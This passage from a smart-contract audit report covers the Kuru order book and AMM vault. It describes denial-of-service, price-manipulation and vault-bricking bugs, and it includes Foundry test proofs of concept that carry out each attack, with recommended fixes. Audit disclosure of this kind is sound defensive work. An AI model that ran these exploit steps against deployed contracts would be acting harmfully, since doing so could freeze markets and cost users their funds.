            _prevOrderId
        );
    }
}
```

Impact Explanation: High.

1. DoS for as long as the attacker want.
2. Price Manipulation.
3. Profits for attacker if protocol/users want to removes the 1 wei orders from the orderbook.

Likelihood Explanation: Medium. For this attack to happen at least one side of the order book needs to be empty.

Proof of Concept: Copy and paste the internal function and the test in `OrderBookTest.t.sol`.

```
function _attackDoSviaFlipOrder(uint32 price, uint32 flipPrice, uint96 size) internal {
    for (uint32 i = 0; i < 3700; i++) {
        orderBook.addSellOrder(price - (_tickSize * i), size, true);
        orderBook.addFlipSellOrder(price - (_tickSize * i), flipPrice, size, true);
        orderBook.addBuyOrder(price - (_tickSize * i), size + 1, false);
    }
}
```

```

function test_Shahil_DoSviaFlipOrder() public {
    address attacker = makeAddr("attacker");
    address user = makeAddr("user");
    uint32 price = 10000 * PRICE_PRECISION;
    uint32 flipPrice = 2000 * PRICE_PRECISION;
    uint96 size = 1 * SIZE_PRECISION;

    eth.mint(attacker, 1000 * 1e18);
    vm.startPrank(attacker);
    eth.approve(address(marginAccount), 1000 * 1e18);
    marginAccount.deposit(attacker, address(eth), 1000 * 1e18);
    vm.stopPrank();

    usdc.mint(attacker, 1000000 * 1e18);
    vm.startPrank(attacker);
    usdc.approve(address(marginAccount), 1000000 * 1e18);
    marginAccount.deposit(attacker, address(usdc), 1000000 * 1e18);
    vm.stopPrank();

    vm.startPrank(attacker);
    _attackDoSviaFlipOrder(price, flipPrice, _minSize + 1);
    orderBook.addSellOrder(flipPrice + _tickSize, size, true); // @note this is important
    vm.stopPrank();

    eth.mint(user, 1e18);
    vm.startPrank(user);
    eth.approve(address(marginAccount), 1e18);
    marginAccount.deposit(user, address(eth), 1e18);
    uint256 gasBefore = gasleft();
    orderBook.addSellOrder(flipPrice, _minSize + 1, false);
    uint256 gasAfter = gasleft();
    vm.stopPrank();

    console.log("gas used: ", gasBefore - gasAfter);
    // it's more than 30 million which is gas limit for a tx in monad
}

```

Recommendation: Implement an admin function which can remove flip orders.

3.2.2 The vault amm will get out of the amm curve when the invariant of partially filled will be broken.

Submitted by [nikhil840096](#)

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Summary: The function '_fillVaultForBuy' is not handling a invariant which will cause problem as the and the execution will get out of the amm curve and protocol will face loss.

Finding Description: According to the current implementation and the documentation from the protocol , it holds a invariant, if the askPartiallyFilledSize will get greater or equal to the vaultAskOrderSize , than askPartiallyFilledSize will set to 0 again, and vaultAskOrderSize will be recalculated with the seeds and the price will also move upward. We can see this clearly implementing in functions _fillVaultForBuy and _fillVaultBuyMatch:

```

function _fillVaultForBuy(uint256 _breakPoint, uint96 _size)
    internal
    returns (uint96 sizeLeft, uint96 fundsConsumed, bytes memory makerCredits)
{
    // ...

    uint96 _availableSize = _cachedLastVaultSize - askPartiallyFilledSize;
    if (_availableSize <= sizeLeft) {
        askPartiallyFilledSize = 0;
    }
    // ...

    } else {
        sizeLeft -= _availableSize;
        _consumedQuote += FixedPointMathLib.mulDivUp(_availableSize, _price, _getSizePrecision());
        _cachedLastVaultSize = toU96(

```

```

        FixedPointMathLib.mulDiv(
            _cachedLastVaultSize, DOUBLE_BPS_MULTIPLIER, DOUBLE_BPS_MULTIPLIER + SPREAD_CONSTANT
        )
    );
    _emitTrade(0, kuruAmmVault, true, _price, 0, _availableSize);
    _availableSize = _cachedLastVaultSize;
    _price = FixedPointMathLib.mulDivRound(_price, BPS_MULTIPLIER + SPREAD_CONSTANT, BPS_MULTIPLIER);
    _cachedPartiallyFilledBid = toU96(
        FixedPointMathLib.mulDiv(
            _cachedPartiallyFilledBid, BPS_MULTIPLIER, BPS_MULTIPLIER + SPREAD_CONSTANT
        )
    );
}
}

if (_price != vaultBestAsk) {
    vaultBestAsk = _price;
    vaultBestBid = FixedPointMathLib.mulDivRound(_price, BPS_MULTIPLIER, BPS_MULTIPLIER + SPREAD_CONSTANT);
    vaultAskOrderSize = _cachedLastVaultSize;
    vaultBidOrderSize = toU96(
        FixedPointMathLib.mulDiv(
            _cachedLastVaultSize, DOUBLE_BPS_MULTIPLIER + SPREAD_CONSTANT, DOUBLE_BPS_MULTIPLIER
        )
    );
}
}
}

```

But this case is totally ignored in the function `withdraw` when the users redeem their shares. The function execution goes like `withdraw => _burnAndWithdraw => _convertToAssetsWithNewSize`, if we look at the function `_convertToAssetsWithNewSize`:

```

function _convertToAssetsWithNewSize(uint256 shares)
    internal
    view
    returns (uint256, uint256, uint96, uint96, bool)
{
// ...
// ...
(uint96 _newAskSize, uint96 _newBidSize) = _getVaultSizesForBaseAmount(_baseAmountAfterRemoval);
(
    ,
    uint256 _vaultBestBid,
    uint96 _partiallyFilledBidSize,
    uint256 _vaultBestAsk,
    uint96 _partiallyFilledAskSize,
    ,
    ,
) = market.getVaultParams();
MarketParams memory _marketParams = marketParams;
(uint256 _reserveBase, uint256 _reserveQuote) = totalAssets();
if (_partiallyFilledAskSize > _newAskSize || _partiallyFilledBidSize > _newBidSize) {

```

It looks only for the case where `_partiallyFilledAskSize > _newAskSize` and `_partiallyFilledBidSize > _newBidSize` are true, But it doesn't update when `_partiallyFilledAskSize = _newAskSize` or `_partiallyFilledBidSize = _newBidSize`, this will create a problem.

As if the ask and partially filled size get equal then the, askPartially filled should be made zero and the price for ask and bid is increased. But this is not handled here and all the bid order placed next to it will be executed at the wrong price.

Impact Explanation:

- Orders will be executed at the false or old price which is not updated hence loss for the users , and also for the protocol.
- The bid and ask size will not follow the amm curve which will potentially break the long term functionality of the protocol.

Likelihood Explanation:

- High as this could be very easily exploited by the attacker, by withdrawing share he can achieve this.

Proof of Concept: Paste the test in `OrderBookTest.t.sol` and run the test:

```

function test_wrongImplementationWithdraw() public {
    MintableERC20 weth = new MintableERC20("wrapped eth", "weth");
    MintableERC20 usd = new MintableERC20("dollar", "usd");
    address user = makeAddr("User54");
    address user1 = makeAddr("User1");
    address user2 = makeAddr("User2");
    address user3 = makeAddr("User3");

    weth.mint(user,1000e18);
    usd.mint(user,1000000e18);
    usd.mint(user1,1000000e18);
    weth.mint(user1,100e18);
    usd.mint(user2,1000000e18);
    usd.mint(user3,1000000e18);
    uint96 _sizePrecision = 10 ** 18;
    uint32 _pricePrecision = 10 ** 2;
    vaultPricePrecision = 10 ** 18;
    _tickSize = _pricePrecision / 2;
    _minSize = 2 * 10 ** 8;
    _maxSize = 10 ** 22;
    _maxPrice = type(uint32).max / 200;
    _takerFeeBps = 0;
    _makerFeeBps = 0;

    OrderBook.OrderBookType _type;
    OrderBook implementation = new OrderBook();
    Router routerImplementation = new Router();
    address routerProxy = Create2.deploy(
        0,
        bytes32(keccak256("")),
        abi.encodePacked(type(ERC1967Proxy).creationCode, abi.encode(routerImplementation, bytes(""))));
    router = Router(payable(routerProxy));
    trustedForwarder = address(0x123);
    marginAccount = new MarginAccount();
    marginAccount = MarginAccount(payable(address(new ERC1967Proxy(address(marginAccount), ""))));
    marginAccount.initialize(address(this), address(router), address(router), trustedForwarder);
    uint96 SPREAD = 300;
    KuruAMMVault kuruAmmVaultImplementation = new KuruAMMVault();
    router.initialize(address(this), address(marginAccount), address(implementation),
        address(kuruAmmVaultImplementation), trustedForwarder);

    address proxy = router.deployProxy(
        _type,
        address(weth), //base
        address(usd), //quote
        _sizePrecision,
        _pricePrecision,
        _tickSize,
        _minSize,
        _maxSize,
        _takerFeeBps,
        _makerFeeBps,
        SPREAD
    );

    orderBook = OrderBook(proxy);
    (address _kuruVault,,,,,) = orderBook.getVaultParams();
    vault = KuruAMMVault(payable(_kuruVault));

    vm.startPrank(user);
    weth.approve(address(vault),10000e18);
    usd.approve(address(vault),type(uint256).max);
    vault.deposit(100e18+2,100000e18,user);
    vm.stopPrank();

    uint256 val = orderBook.vaultAskOrderSize();
    console2.log("The value is", val);
    vm.startPrank(user1);
    usd.approve(address(marginAccount),10000e18);
    marginAccount.deposit(user1, address(usd), 5000e18);
    orderBook.addBuyOrder(1050e2,1454465928619445471,false);
    vm.stopPrank();
    (
        ,

```

```

        ,
        ,
        ,
        uint256 askPartiallyFilledSize,
        ,
        ,

    ) = orderBook.getVaultParams();
    // console2.log("The value is", askPartiallyFilledSize);
    (uint256 _baseReserve, uint256 _quoteReserve) = vault.totalAssets();
    uint256 askPrice = orderBook.vaultBestAsk();
    console2.log("The value of base is",_baseReserve);
    (uint256 amnt,) = vault._returnNormalizedAmountAndPrice(false);
    uint256 ts = vault.totalSupply();
    console.log("The total SSupply is",ts);
    uint256 shares = 50e18;
    uint256 vaultBestAskBeforeWithdraw = orderBook.vaultBestAsk();
    vm.startPrank(user);
    vault.withdraw(shares,user,user);
    vm.stopPrank();
    //@audit Price after the withdraw is same even, askPartiallyFilledSize and vaultAskOrderSize, are equal.
    uint256 vaultBestAskAfterWithdraw = orderBook.vaultBestAsk();
    assert(vaultBestAskBeforeWithdraw == vaultBestAskAfterWithdraw);
    (
        ,
        ,
        ,
        ,
        uint256 askPartiallyFilledSize2,
        ,
        ,

    ) = orderBook.getVaultParams();
    uint256 vaultAskOrderSize2 = orderBook.vaultAskOrderSize();
    assert(askPartiallyFilledSize2==vaultAskOrderSize2);//@audit both are equal
    //@audit Now next all the ask orer created will be completed with the false or exhausted or wrong price.
}

```

Recommendation: Also add a if statement and properly handle this edge case.

3.2.3 Missing slippage protection on vault

Submitted by [aksoy](#), also found by [YanecaB](#), [ZeroEx](#), [Pexy](#), [timeflierz](#), [3n0ch](#), [3n0ch](#), [Kemah](#), [TamayoNft](#), [Bengal-CatBalu](#), [KuwaTakushi](#) and [fromeo016](#)

Severity: Medium Risk

Context: [KuruAMMVault.sol#L241](#)

Summary: The KuruAMMVault mints/burns shares using a price derived from `market.vaultBestAsk()` which can change regulary. But withdraw flows accept no slippage constraints from the user. If the vault price moves, users can deposit, withdraw at different token ratios than intended, causing a value loss.

Finding Description: On KuruAMMVault withdraw, the contract burns shares and computes owed amounts via `_convertToAssetsWithNewSize(shares)`, which uses current vault prices/sizes. There is no user-specified minimum token amounts out. Any price change can change the token ratio users expected and cause possible losses for users.

```

/**
 * @dev Internal function to handle the burning of shares and withdrawal logic.
 */
function _burnAndWithdraw(uint256 _shares, address _receiver, address _owner) internal returns (uint256,
→ uint256) {
(
    uint256 _baseOwedToUser,
    uint256 _quoteOwedToUser,
    uint96 _newAskSize,
    uint96 _newBidSize,
    bool _nullifyPartialFills
) = _convertToAssetsWithNewSize(_shares);

_burn(_owner, _shares);

market.updateVaultOrdSz(_newAskSize, _newBidSize, 0, 0, _nullifyPartialFills);

```

```

    _withdrawFromMarginAccount(_baseOwedToUser, _quoteOwedToUser, _receiver);

    emit KuruVaultWithdraw(_baseOwedToUser, _quoteOwedToUser, _shares, _owner);

    return (_baseOwedToUser, _quoteOwedToUser);
}

```

Impact Explanation: Users can receive less base or quote token than expected.

Likelihood Explanation: Price frequently changes between signing and execution.

Recommendation: Implement explicit slippage protections for users similar to Uniswap V2.

3.2.4 KuruAMMVault Zero Price Initialization on First Deposit

Submitted by aksoy, also found by OxPhantom, rokinot, air, BengalCatBalu, VictoryGod, kvar, cu5t0mpeo and EVDoc

Severity: Medium Risk

Context: KuruAMMVault.sol#L194

Summary: The KuruAMMVault contract can be permanently disabled during the first deposit if the depositor chooses manipulated values that cause `_currentAskPrice` to evaluate to 0. This breaks subsequent deposits and order book functionality, leading to a vault-wide denial of service.

Finding Description: When the first deposit occurs in KuruAMMVault the vault calculates the initial `_currentAskPrice` as:

```

_currentAskPrice = (
    (quoteDeposit * 10 ** marketParams.baseAssetDecimals)) * vaultPricePrecision
    / 10 ** marketParams.quoteAssetDecimals
) / (baseDeposit);

```

If `quoteDeposit` and `baseDeposit` are chosen such that the result rounds to 0 (e.g., for same-decimal tokens with manipulated ratios, such as `baseDeposit = 1e20` and `quoteDeposit = 1`), then `_currentAskPrice = 0`. This would update `vaultBestAsk` and `vaultAskOrderSize` to 0.

1. After that future deposits fail in `_returnVirtuallyRebalancedTotalAssets()` due to zero-division on price.

```

function _returnVirtuallyRebalancedTotalAssets(uint256 _reserve1, uint256 _reserve2, uint256
→ _vaultPrice)
internal
view
returns (uint256, uint256)
{
    MarketParams memory _marketParams = marketParams;
    uint256 _halfTotalValuationInQuote = (
        (_reserve1 * _vaultPrice * 10 ** _marketParams.quoteAssetDecimals)
        / (10 ** _marketParams.baseAssetDecimals * vaultPricePrecision) + _reserve2
    ) / 2;
    //Audit _vaultPrice = 0 cause division error
    uint256 _rebalancedBaseAsset = (
        _halfTotalValuationInQuote * vaultPricePrecision * 10 ** _marketParams.baseAssetDecimals
    ) / (10 ** _marketParams.quoteAssetDecimals * _vaultPrice);
    return (_rebalancedBaseAsset, _halfTotalValuationInQuote);
}

function _mintAndDeposit(...) internal returns (uint256) {
    ...
    _shares = _convertToShares(baseDeposit, _expectedQuoteAmount, _currentAskPrice);
    ...
}

function _convertToShares(uint256 baseAmount, uint256 quoteAmount, uint256 _currentAskPrice){
    ...
    (_reserve1, _reserve2) = _returnVirtuallyRebalancedTotalAssets(_reserve1, _reserve2,
→ _currentAskPrice);
}

```

2. The order book also wouldn't work correctly.

- `bestAsk()` will always resolve to 0 and try to use vault.
- In `_matchAggressiveBuyWithCap()`, the loop condition `while (_sizeToBeFilled > 0 && _bestAsk <= _limitPrice && _bestAsk != 0)` will never execute properly because `_bestAsk == 0`.
- Maker orders cannot be matched, and market orders cannot be processed.

Impact Explanation: A malicious user can perform a small first deposit to disable the vault permanently. Maker orders can't be processed for `addBuyOrder`.

Likelihood Explanation: Any user can attempt the first deposit. Attack cost could change based on token price and decimals.

Proof of Concept: `test/OrderBookTest.t.sol`:

```
function testZeroPrice() public {
    address _maker = genAddress();
    uint256 _amountBase = 10**20;
    eth.mint(_maker, _amountBase);
    uint256 _amountQuote = 1;
    usdc.mint(_maker, _amountQuote);
    vm.startPrank(_maker);
    eth.approve(address(vault), 10*_amountBase);
    usdc.approve(address(vault), 10*_amountBase);
    vault.deposit(_amountBase, _amountQuote, _maker);
    vm.stopPrank();

    vm.expectRevert();
    // @audit [FAIL: panic: division or modulo by zero (0x12)]
    vault.deposit(_amountBase, _amountQuote, _maker);
}
```

Recommendation: Add validation to ensure `_currentAskPrice > 0` during the first deposit.